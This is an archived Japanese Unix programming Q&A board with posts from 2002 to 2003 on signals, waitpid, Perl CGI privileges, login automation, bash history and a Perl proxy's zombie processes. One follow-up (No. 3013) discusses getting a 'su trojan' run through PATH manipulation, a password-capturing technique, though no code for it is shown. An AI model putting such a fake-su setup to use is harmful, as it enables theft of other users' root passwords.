おかげで理解できました.ありがとうございます.

No. 2983 # 68user 2002/12/08 (日) 06:01:43
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。

TeraTerm 経由の mule などで PageUp が効かない場合、
Windows\Program Files\TTERMPRO\KEYBOARD.CNF の
    Remove=329
を ; でコメントアウトし、その下に
    User1=329
を追加。さらにファイルの一番最後に
    User1=329,0,$1B[5~
を追加。

って、ちょっと検索してみたら、
    http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html
の対処と全然違ってますな。なんでアレで PageUp できるんだろう。

No. 2984 # SIGNAL 2002/12/12 (木) 18:51:54
OS: Solaris 2.5.1
プロセスの通知にシグナルを使っています。
これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、
今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。
そこで、質問なのですが
<signal.h>にシグナルを追加できるのでしょうか?
また、出来るとしたら注意しないといけない点や
影響を及ぼす範囲を教えて下さい。

よろしくお願いします。

No. 2985 # 68user 2002/12/13 (金) 12:45:23
>>2984 SIGNAL
シグナルの追加はカーネルを書き換えないと無理です。

シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり
をするのが正解でしょう。

と偉そうなことをいってますが、シグナルが足りず SIGXCPU を
使って逃げたことはあります。

No. 2986 # koko 2002/12/16 (月) 14:34:40
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス
が認識する方法があれば情報提供をお願いします。

・親プロセスはwaitしません。
・子プロセスは同じものが複数生成されます。(順次生成)

ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。
理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果
が格納されるようなものです。

No. 2987 # 68user 2002/12/18 (水) 08:51:46
>>2986 koko
> ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
> や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、
の方法を取らないのであれば、無理なんじゃないでしょうか。

No. 2988 # hsj 2002/12/18 (水) 14:58:58
>>2986 koko
> ・親プロセスはwaitしません。
親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで
チェックするのもダメですか?
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <sys/wait.h>

void handler(int sig)
{
        int pid,status,code;

        while((pid=waitpid(-1,&status,WNOHANG))>0)
        {
                if(WIFEXITED(status))
                {
                        code = WEXITSTATUS(status);
                        printf("child process:[%d] was exited with code:[%d]\n",pid,code);
                }
        }
}

int main(int argc,char *argv[])
{
        int i,pid,code;
        char buf[16];
        struct sigaction sa;

        if(argc>1)
        {
                code = atoi(argv[1]);
                srand(code+time(0));
                sleep(rand()%10);
                return code;
        }

        memset(&sa,0,sizeof(sa));
        sa.sa_flags = SA_NOCLDSTOP;
        sa.sa_handler = handler;
        sigaction(SIGCHLD,&sa,0);

        for(i=0;i<10;i++)
        {
                if((pid=fork())<0)
                {
                        perror("fork");
                        return -1;
                }
                if(pid)
                        continue;
                sprintf(buf,"%d",i);
                if(execl("./a.out","./a.out",buf,0)<0)
                {
                        perror("execl");
                        return -2;
                }
        }
        for(;;)
                sleep(1);
        return 0; /* never reaches */
}
--- snip ---
かなり適当ですが。

No. 2989 # koko 2002/12/19 (木) 08:42:04
>>2988 hsj
他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。
試してみたいと思います。

>>2987 68user
今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に
なるかと思います。

ご回答頂き、ありがとうございました。

No. 2990 # 68user 2002/12/20 (金) 02:06:37
>>2986 koko
> ・親プロセスはwaitしません。
ってのは親プロセスにも手を入れたくないという意味かと思った
のですが、wait でブロックさせたくないという意図だったのですね。
読み違えておりました。

No. 2991 # Japper 2002/12/20 (金) 02:55:20
こんにちは
質問があってきました

Perlを使っていると
system関数やexec関数を使うようになりました
便利でとてもよいのですが
Root権限でコマンドが実行されているような気がします
くわしくはまだ確認していません。
また、CGIでファイルマネージャーを使っていますが
これも同じようにパスワードファイルなどを開かれるという欠点があります
全ディレクトリやファイルのパーミッションを000にすることはもちろんできませんし
一部だけのパーミッション設定もだめです
例)/homeを000にするが/home/userが777だとアクセスされてしまう

これらのことからセキュリティーホールとなっていてとても不安です
これらについての対処法はなにかないでしょうか?

No. 2992 # 68user 2002/12/20 (金) 03:08:40
>>2991 Japper
> Root権限でコマンドが実行されているような気がします
perl スクリプト中で
      print "$<\n";
      print "$>\n";
の結果のいずれかが 0 なら root 権限を得ています (が、おそらくは
勘違いではないかと思います)。

> これも同じようにパスワードファイルなどを開かれるという欠点があります
書きかけですが、
      http://x68000.startshop.co.jp/~68user/webcgi/cryptogram.html
が参考になるかもしれません。

No. 2993 # ruku [E-mail] 2002/12/20 (金) 13:27:36
初めまして!YAHOO!オークションのログインをプログラムで実行したいのですが、上手くいきません。ブラウザでの通信のlogをとり、プログラムを組んでいたのですが、どうしてもPOSTした後の3種類のクッキーがとれ
ないのです。上手くいけば下のような3種類のクッキー(個人情報なので***になっています)が返されるのですが、

・・・・・・・・・・ブラウザのlog・・・・・・・・・
<ブラウザのPOST>
POST /config/login?5934sjuoe8ci4 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Content-Length: 259
Pragma: no-cache
Cookie: B=cv85agsv02md9&b=2
Connection: keep-alive
Browser reload detected...
Posting 259 bytes...
.tries=1
.src=auc
.last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc
promo=
.intl=jp
.bypass=
.partner=
.u=cq4ce2ov02mdi
.v=0
.fUpdate=Y
hasMsgr=0
.chkP=Y
.done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus
login=********
passwd=***********

<レスポンス>
HTTP/1.1 302 Found
Date: Thu, 19 Dec 2002 05:31:58 GMT
P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie:****
Set-Cookie:****
Set-Cookie:****

・・・・・・・・・・・・・・・・・・・・・・・・・・・・・

このセッションがどうしても上手くいかず、3種のset-cookie
が取得できないのです。大変お忙しい中恐縮ですが、もしよろしければ、アドバイスをよろしくお願いします。とても見せれるプログラムではありませ
んが、下記に示します。

try{
    URL u = new URL("http://login.yahoo.co.jp/config/login?5934sjuoe8ci4");
    URLConnection uc = u.openConnection();
    uc.setRequestProperty("Cookie:","B=cv85agsv02md9&b=2);
    uc.setDoOutput(true);
    uc.setDoInput(true);
    
    OutputStreamWriter out = new OutputStreamWriter(uc.getOutputStream(), "EUC_JP");
    query.Encode3(".tries","1");
    query.Encode1(".src","auc");
    query.Encode1(".last","http://login.yahoo.co.jp/config/edit_auc");
    query.Encode1("promo","");    *query.Encode()はクエリー文字列にするための関数です。
    query.Encode1(".intl","jp");
    query.Encode1(".bypass","");
    query.Encode1(".partner","");
    query.Encode1(".u",data2);
    query.Encode1(".v","0");
    query.Encode1(".fUpdate","Y");
    query.Encode1("hasMsgr","0");
    query.Encode1(".chkP","Y");
    query.Encode1(".done","http://user.auctions.yahoo.co.jp/jp/show/mystatus");
    query.Encode1("login",ID);
    query.Encode1("passwd",PW);
    out.write(query.toString());
    out.write("\r\n");
    out.flush();
    out.close();
/////////////(1)//////////////////////////////
    for (int j = 0; ; j++) {
        String header = uc.getHeaderField(j);
        if (header == null) break;
        System.out.println(uc.getHeaderFieldKey(j) + ": " + header);
    }
}
catch (Exception a) {
    System.err.println(a);
}


ちなみに(1)で出力されたヘッダ情報は
null: HTTP/1.1 200 OK
Date: Thu, 19 Dec 2002 07:16:58 GMT
Refresh: 900; URL=http://www.yahoo.co.jp/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 05 Jan 1995 22:00:00 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: B=el2pemcv02sja&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/;
domain=.yahoo.co.jp

上記のレスポンスを取得してしまい、クッキーが取得できずに先に進めないのです。長くなってしまい、大変ご迷惑をお掛けしますがよろしくお願い致します。
では、失礼します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2994 # hsj 2002/12/21 (土) 10:45:27
>>2993 ruku
いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と
.uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを
POSTすれば行けるんじゃないでしょうか。
この手のwebアプリはログイン後の画面ではCookieだけでなく、
それ以外の手段でもユーザを一意に識別する何らかの値を持ちまわらせ、
Cookieの(そのものでなく大抵はセッションオブジェクトなりDBなりに
入れた)値とのクロスチェックでユーザを認証している場合があります。
YAHOO!オークションがどうなっているかは知りませんが、
その手の仕組みが組み込まれているんじゃないでしょうか。

No. 2995 # 68user 2002/12/21 (土) 22:50:15
>>2993 ruku
うまくいかないときのアプローチとしては、まずはやっぱり telnet とか
Socket で直接つなぐ方がいいんじゃないでしょうかね。

アクセスに成功する QUERY は知っているし、失敗する QUERY も
知っているわけで (よくわかってませんが、OutputStreamWriter に
細工をすればリクエストの生データが取れるんですよね? )

その 2つの内容をつきあわせて一つ一つチェックすると。ないとは
思いますが、もしかしたら USER_AGENT で制限かけてたりする
かもしれませんし。

No. 2996 # kiki 2002/12/22 (日) 18:25:54
おひさしぶりです。kikiです。前回はお世話になりました。
今回もお聞きしたいことがあり、書き込ませていただきました。

今、私はbash(2.04)をいじって、以下のことが
したいと思っているのです。それは

1.コマンドが実行された時間をそのコマンド履歴といっしょに
    特定のファイルに出力する。(.bash_historyに
    タイムスタンプをつける感じです。
2.特定のファイルにコマンド履歴が追加されるタイミングを
  そのコマンドが打ち込まれた直後になるようにする。
    
このようなことはbashのソースを書き換えればできるのでしょうか?
どうかご教授をよろしくお願い致します。

P.S.
history -w の様なことを自動的にできればいいのですが、
historyコマンドは、シェル自身のコマンドなので無理でしょうし。
うーん。

No. 2997 # ruku 2002/12/23 (月) 12:44:14
>>2994 hsj
貴重なアドバイスありがとうございます。いちおう.uやcookieの値はお書きしたプログラムの前で取得しているので問題はないと思うのですが・・・。これがなかなか上手くいかないのです。

>>2995 68user
ソケットで試してみます。貴重なアドバイスありがとうございました。

No. 2998 # ruku 2002/12/23 (月) 13:55:38
度々すみません。ブラウザの設定でcookieを無効にして再度logをとったら
プログラムと同じになりました。次にlogを示します。

+++GET 457+++
POST /config/login?2v1pmh3i6v229 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Content-Length: 259
Pragma: no-cache
Connection: keep-alive
Browser reload detected...
Posting 259 bytes...
.tries=1
.src=auc
.last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc
promo=
.intl=jp
.bypass=
.partner=
.u=5g07ercv0d4tr
.v=0
.fUpdate=Y
hasMsgr=0
.chkP=Y
.done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus
login=*************
passwd=*****************

+++RESP 457+++
HTTP/1.1 302 Found
Date: Mon, 23 Dec 2002 04:40:38 GMT
P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: ******
Set-Cookie: ******
Set-Cookie: ******
+++CLOSE 457+++

+++GET 458+++
GET /config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Pragma: no-cache
Connection: keep-alive
Browser reload detected...

+++RESP 458+++
HTTP/1.1 200 OK
Date: Mon, 23 Dec 2002 04:40:38 GMT
Refresh: 900; URL=http://www.yahoo.co.jp/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 05 Jan 1995 22:00:00 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: B=2m7te28v0d4u6&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp
+++CLOSE 458+++

cookieを無効にしても3種のcookieはとれるようなのです。しかも最後の
ヘッダの応答はプログラムでもとれているのです。ただ、POSTを送る処理
しかプログラムでは行っていないはずなのに最後のヘッダの応答を取得して
しまうのはどうしてでしょうか?もしよろしければアドバイスよろしくお願いします。もしかしたら応答ヘッダの取得する場所が悪いのでしょうか?

No. 2999 # hsj 2002/12/24 (火) 03:44:56
>>2998 ruku
先ほど試しにncで
> いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と
> .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを
> POSTすれば行けるんじゃないでしょうか。
をやってみたところ、問題なく3つのCookieが発行されました。
#ただし、最初のGETは/cofig/login?.src=aucに対して行いました。
なので、プログラムが正確に上記の事を行えば問題なく行けると思いますが・・・。

No. 3000 # 68user 2002/12/24 (火) 14:28:48
> 2996
> このようなことはbashのソースを書き換えればできるのでしょうか?
入力を解析し、プロセスを実行しているのは bash なので、ソースに手を
いれれば何でも可能です。

No. 3001 # kiki 2002/12/25 (水) 11:14:10
>3000 68user様
お返事ありがとうございます.kikiです.
やってみましたところ、なんとかできました。
ありがとうございました。

No. 3002 # koko 2002/12/25 (水) 15:21:54
C言語で複数のプロセスが同一のファイルに対してログを出力する処理を作成したいのですが、このような共有書き込み用のファイルを設ける方法としてUNIXでよくやる方法というものはあるでしょうか。
もちろん、定石でなくても良いです。
できれば、書き込み時に自分でファイルをロック、アンロックしない、要するにできるだけ楽をしたいです。
ログの書き込みは同時に発生する可能性があります。
Windowsであれば、共有書き込みでファイルを開く関数があるのですが...。

●処理イメージ
1.親プロセスでログファイルを開く。
2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。
3.全子プロセス終了後にログファイルを閉じる。

よろしくお願い致します。

No. 3003 # yuuji 2002/12/25 (水) 15:37:40
はじまめして
UNIXのファイルアクセスでつまづいています。
Aという、所有者がnobody のファイルがあるのですが、あるunixサーバでは
webというユーザからアクセス(名前変更)ができます。
ところが、同じOSの別のサーバにあるBという、所有者がnobodyのファイル
にはwebというユーザからアクセスできません。
nobodyのファイルはどのユーザでもアクセスできると認識しているのです
が、ソフトのインストールやセキュリティの設定などでアクセスできないようにすることが可能なのでしょうか?
どなたかご存知の方いらっしゃいましたら教えてください。

No. 3004 # Japper 2002/12/25 (水) 22:25:47
>>2992 68user

ご回答ありがとうございます
パスワード的なことはやはりcrypt関数を使うことで解決できそうな気がします

>> Root権限でコマンドが実行されているような気がします
>perl スクリプト中で
> print "$<\n";
> print "$>\n";
>の結果のいずれかが 0 なら root 権限を得ています

やはり両方とも 0 を返しました
このことからRoot権限を得ているのでしょうか?
Root権限を与えない方法はどのようにすればよいのでしょうか?

よろしくお願いします

No. 3005 # Eiichi 2002/12/26 (木) 10:45:40
> 3003 yuuji

WebサーバがApacheならsuEXECを使えばいいと思いますよ。
http://httpd.apache.org/docs/suexec.html

No. 3006 # ruku 2002/12/26 (木) 13:20:22
>>2999 hsj
ありがとうございます。わかりました。頑張ってみます。

No. 3007 # 68user 2002/12/27 (金) 01:33:01
>>3002 koko
> できれば、書き込み時に自分でファイルをロック、アンロックしない、
> 要するにできるだけ楽をしたいです。
これを第一に考えるなら syslog か、syslog-ng を使いましょう。

daemon を立ち上げておけないのなら、open で O_SHLOCK を使うとか
(ま、結局ロックしているわけですが)。

また、
> 1.親プロセスでログファイルを開く。
> 2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。
という形態であれば、普通は pipe(2) して、fork(2) して、子が親にデータを
渡し、親がログに書く、というふうになるでしょう。
      http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/links/link-check.pl?rev=HEAD&content-type=text/x-cvsweb-markup
は子が親に 1行だけデータを渡す例です。

あるいは親が名前付きパイプを作成し、子がそこに書き込むとか。

いずれにせよ、syslog が使えないなら、syslog 相当のものを
自作する必要はあります。

No. 3008 # 68user 2002/12/27 (金) 01:44:34
>>3003 yuuji
> nobodyのファイルはどのユーザでもアクセスできると認識して
> いるのですが
誤りです。nobody はただの一ユーザであって、所有者が nobody の
ファイルを扱えるかどうかは そのファイルのパーミッションと、ファイルが
置かれているディレクトリのパーミッションによります。

UNIX においては、誰よりも権限が高いユーザは存在しますが (root)、
誰よりも権限が低いユーザというのは存在しません。


>>3004 Japper
> このことからRoot権限を得ているのでしょうか?
そうです。

> Root権限を与えない方法はどのようにすればよいのでしょうか?
suExec の前に、設定を見直した方がよいでしょう。
  
もし apache ならば、あえてそういうふうに設定しない限り root
権限は得られません。そういう web サーバを使い続けることは
非常に恐いので、まっとうなインストール方法を勉強するか、
web サーバをインストールした人に何をしたのか聞いてみる
ことをお勧めします。

# 「デフォルトが root 権限で動く web サーバ」なら正常動作
# なんでしょうが、そんな web サーバは嫌だ。

No. 3009 # ELVIS 2002/12/31 (火) 22:10:26
こんにちは
もうすぐ2003年ですね
仕事でSolaris8をいじるようになって早くも4年目に突入です
まだまだ未熟者ですがよろしくお願いします

自宅では2001/01版のSolaris8を「WS440BX」で使ってるのですが
最近I845系のマシン(ペンティアム4系)にUPしようと考えるようになりました
当然ながらチップセットやディスクコントローラ、システムコントローラ等の
ドライバを入手する必要があるのですが、苦慮しています
新型機の候補としては「D845GALLY」あたりを考えているのですが
情報等あればよろしくお願いします

No. 3010 # しましま 2003/01/02 (木) 20:11:32
    EWSのデバイス情報(CPUのクロック数、メインメモリ)を知ることができる
UNIXコマンドがありましたら、教えて下さい。

No. 3011 # とむやむ 2003/01/04 (土) 16:51:43
perlでネットワークプログラムを試作してます。
echoをC/Sで動作する事は出来るようになりましたが、ファイルを
ネットワーク越しに転送するにはどうすればいいのでしょうか?
同じくperlによるC/Sです。

No. 3012 # HIGE 2003/01/06 (月) 12:01:19
はじめまして。
echoサーバーサンプルを参考にしてPerlでちょっとしたチャットサーバーなんかを作ってます。
そこでいきなり質問なんですが、PerlでBroken Pipeエラーを回避するようにできないでしょうか?
Broken Pipeとは存在しないソケットに対して書き込んでしまったときにでるエラーのようで、クライアントが強制切断してしまったときなどは回避できません。
どうにか皆様のお知恵をお借りできませんでしょうか。

No. 3013 # kiki 2003/01/06 (月) 18:58:04
あけましておめでとうございます。kikiです。
本年もよろしくお願い致します。

>>68user様
ずいぶんと古い話で申し訳ありませんが、
>>2956 の解決策をためそうとしましたところ、
1. PATH=../../../../../../../home/foo/bar:$PATH とする。
カレントディレクトリの階層があまりに深くなければ、これでいける。

が、どういう事を意味するのかわかりませんでした。
そして、これはどこで行うのでしょうか?
suトロイの実行前の準備としてでしょうか?
ご教授よろしくお願いします。

P.S.
PATH=.:$PATH
にしておくき、suトロイがおいてある場所で、suコマンドを打ち込むと
suトロイが実行され、もう一度suコマンドを打つと
しっかり/bin/suが実行されますが、
suトロイがおいてある場所以外で同じことをしようとすると
suトロイは実行されず、いきなり/bin/suが 実行されました。
コマンドを探す順番は、カレントディレクトリからということでしょうか。
うーん、調べてみます。

No. 3014 # 68user 2003/01/07 (火) 03:03:58
今年こそはちゃんと web を更新するぞ、と。

てなわけで、今年もよろしくお願いします。

>>3009 ELVIS
>>3010 しましま
少なくとも僕はわかりません。申し訳ない。

>>3011 とむやむ
> ファイルをネットワーク越しに転送するにはどうすればいいのでしょうか?
以下のやりとりが参考になるでしょうか。
>>2827 Tetsu
>>2828 68user
ftp クライアントと ftp サーバを作るもよし、自分でプロトコルを
決めるもよし、ということです。

>>3012 HIGE
> PerlでBroken Pipeエラーを回避するようにできないでしょうか?
SIGPIPE をキャッチしてください。使用例はこちら。
    http://x68000.startshop.co.jp/~68user/net/http-proxy.html

>>3013 kiki
> PATH=../../../../../../../home/foo/bar:$PATH とする。
カレントディレクトリが /dir1/dir2/dir3 であるとき、
      ../ は /dir1/dir2 です。
      ../../ は /dir1 です。
      ../../../ は / です。
      ../../../../ は / です。
      ../../../../../ は / です。
      ../../../../../home は /home です。
      ../../../../../home/foo は /home/foo です。
      ../../../../../home/foo/bar は /home/foo/bar です。
ってことです。

> PATH=.:$PATH
> コマンドを探す順番は、カレントディレクトリからということでしょうか。
. はカレントディレクトリですから。

No. 3015 # koko 2003/01/07 (火) 13:04:15
>>3007 68user
ご回答ありがとうございます。
やはり、ファイルに同時書き込みをするにはロック、もしくはそれに相当する制御は欠かせませんね。
素直にsyslogを使用すれば良いのですが都合でsyslogは使用できません。
頂いた参考URL等を参考にしながら対策を検討します。

No. 3016 # ありがとう [URL] 2003/01/07 (火) 14:34:53
★ \(^o^)v 大 発 見 !♪

                 〜♪ とっても 参考にさせて頂いて ♪

    ~~\(^o^)♪ 〜 夢 と 希望 が 叶いました〜♪ (^o^)/~~
                  
             ありがとう  

No. 3017 # ピョンタン [E-mail] 2003/01/07 (火) 16:40:47
もし、ご存知であれば教えてください。
ファイルの日付を比較して新しいほうのファイルを表示したいです。
サーバが異なる場所(ネットワークには接続できる)に、
それぞれファイルが存在するします。
同じマシンであれば、>find file1 -newer file2 -print
で表示されるのです。remshで実行しようとしてもうまくいきません。
ご教授お願いいたします。

No. 3018 # kenken 2003/01/09 (木) 00:58:50
AIX上でファイル内の先頭行と最終行を削除したいのですが
UNIXコマンドで行を指定して削除することはできないのでしょうか?
※C言語の処理内で行いたいのでsystem関数で可能な方法

もしご存知であれば教えてください。
よろしくお願いします。

No. 3019 # 68user 2003/01/09 (木) 09:34:49
>>3017 ピョンタン
remsh でリモートのファイルのタイムスタンプを表示して、ローカルの
方より若ければ rcp するか、とりあえず別のファイル名で rcp して、
ローカルで比較するか、てな感じで。

>>3018 kenken
> AIX上でファイル内の先頭行と最終行を削除したいのですが
      % tail +2 < file | ??? | tail +2 | ???
でいけた記憶があります。??? はファイルの内容を逆順にする
コマンドですが、なんだったっけなー。ど忘れしました。

      % cat -n file | tail +2 | sort -r | tail +2 | sort | sed 's/^.......//'
てな方法もあります。

まぁファイルサイズが大きいなら perl か awk でさくっと書いた方が
よいでしょう。

No. 3020 # ピョンタン [E-mail] 2003/01/09 (木) 11:34:56
ご回答ありがとうございます。
大変助かります。>No.3019(NO3017についての回答)
もうひとつ教えてください。ファイルの
タイムスタンプを取得するのに、
(1)Jan 9 2001  ← 2001/01/09
(2)Dec 10 13:56 ← 2002/12/10
(3)Jun 1 15:00 ← 2003/01/01
というふうに統一性がありません。
特に、(2),(3)だったらどうやって比べればいいのでしょうか?
申し訳ありませんが教えて下さい。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3021 # 68user 2003/01/09 (木) 12:53:44
>>3020 ピョンタン
% ls -lT
% ls --fulltime -l
% perl -e 'printf "%d\n", (stat("/foo/bar/baz"))[9]'

などなど。

No. 3022 # ピョンタン [E-mail] 2003/01/09 (木) 16:24:16
お返事ありがとうございました。>No.3021
大変助かりました。
もう少しだけ教えてください。
%ls -fulltime -l
で確認することができましたが、
参考書や、Webで検索しても
の「fulltime」の引数指定意味がよくわかりません。
しかも、私は
×"--fulltime"
○"-fulltime"
で、なんとなくうまくいきました。
本当にお手数をおかけしますが、あともう少しなので
教えて下さい。どうかよろしくお願いします。

No. 3023 # 68user 2003/01/09 (木) 22:19:01
      % ls --fulltime -l

      % ls --full-time -l
の間違いでした。

>>3022 ピョンタン
> ○"-fulltime"
お使いの OS に興味があります。OS の名前を教えてください (てゆーか
質問する際に OS や環境を明示してくださいね)。

意味については
        % man ls
に説明があるはずです。

No. 3024 # テクノソルジャー 2003/01/10 (金) 15:15:07
初めまして、お世話になります。
68userさんのページのhttp-proxy
http://x68000.startshop.co.jp/~68user/net/http-proxy.html
をhttpポートフォワーダーに改造して使わせてもらっている物です。
Linuxですが、、連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)、いろいろ手を加えてみましたが、未だにこのMEM増加を改善できませんでした。
そこでこれをforkを使ったechoサーバを参考にfork版に修正しました。
while (my $sock = $sock_waiting->accept){
        my $pid = fork();
        my $cpid = $pid ;
        if ($pid!=0) {
    close($sock) ;
    next ;#parlent process
        }
        print " FROM Browser. Accept $sock.\n";
        #Child process
        my ($buf,$request);
        while (1){
                my $brs = sysread($sock, $buf, 10000);
                $request .= $buf;
                if ($brs) {
                        last ;
                }
        }
        print " FROM Browser. Read OK.\n";
        ここに転送先サーバ側とのソケット作成と受信&ブラウザへの返信を記述
        print " FROM Browser. Finished.\n";
        close($sock);
        print " FROM Browser. process End \n";
        exit ;
}

の様に子プロセスのexit文もいれました。なのにpsで見ると、、
hoge 19438 12855 0 14:55 pts/21 00:00:00 perl http-proxy2.pl
hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19579 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19580 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19581 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
アクセスした分この様なプロセスが残りっぱなしになります。
当然大元スクリプトを停止すればプロセスは消えます。
どうか宜しくご意見ください。

No. 3025 # 68user 2003/01/11 (土) 00:22:35
>>3024 テクノソルジャー
> hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
> アクセスした分この様なプロセスが残りっぱなしになります。
wait していないからです。以前指摘をいただいたのですが、時間が
とれず手付かずになっています (申し訳ない)。
>>2584 persianopeh
をどうぞ。

> 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)
どうもオリジナル版のバグっぽいですね。久々に使ってみましたが、
確かにメモリ使用量がだんだん増えていきました。調べておきます。

# と言っても暇がない〜。

No. 3026 # 68user 2003/01/11 (土) 00:38:38
>>3024 テクノソルジャー
> 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)
コネクションを切断しても %conn_table_rev が IO::Socket::INET の
オブジェクトを指しているみたいです。

あと、%conn_table もキーが増えつづけるようです (値は undef かな?)
%conn_table_rev ほどではありませんが (一回あたり数十バイトくらい
でしょうか)、メモリリークなのは確かですね。

なので、remove_contable で適切にハッシュを delete してやればよい
のかもしれませんが、明日も仕事なのでこの辺で… (´・ω・`)

No. 3027 # テクノソルジャー 2003/01/11 (土) 07:36:54
お忙しいところ調査並びご返事ありがとうございます!
>>3025 68user
なるほど、、その仕組みが理解できませんが、、
連休明けには会社で早速処置してみます!
>>3026 68user
こちらはclose漏れかといじって見ましたが、、ハッシュにバインドされているから生成オブジェクトが開放されなかったのですね〜
ハッシュにdefunで増加など考えもしませんでした。
私的に貴重な知識を得ましたです!

Prev< No. 2927〜3027> Next  [最新発言に戻る] [過去ログ一覧]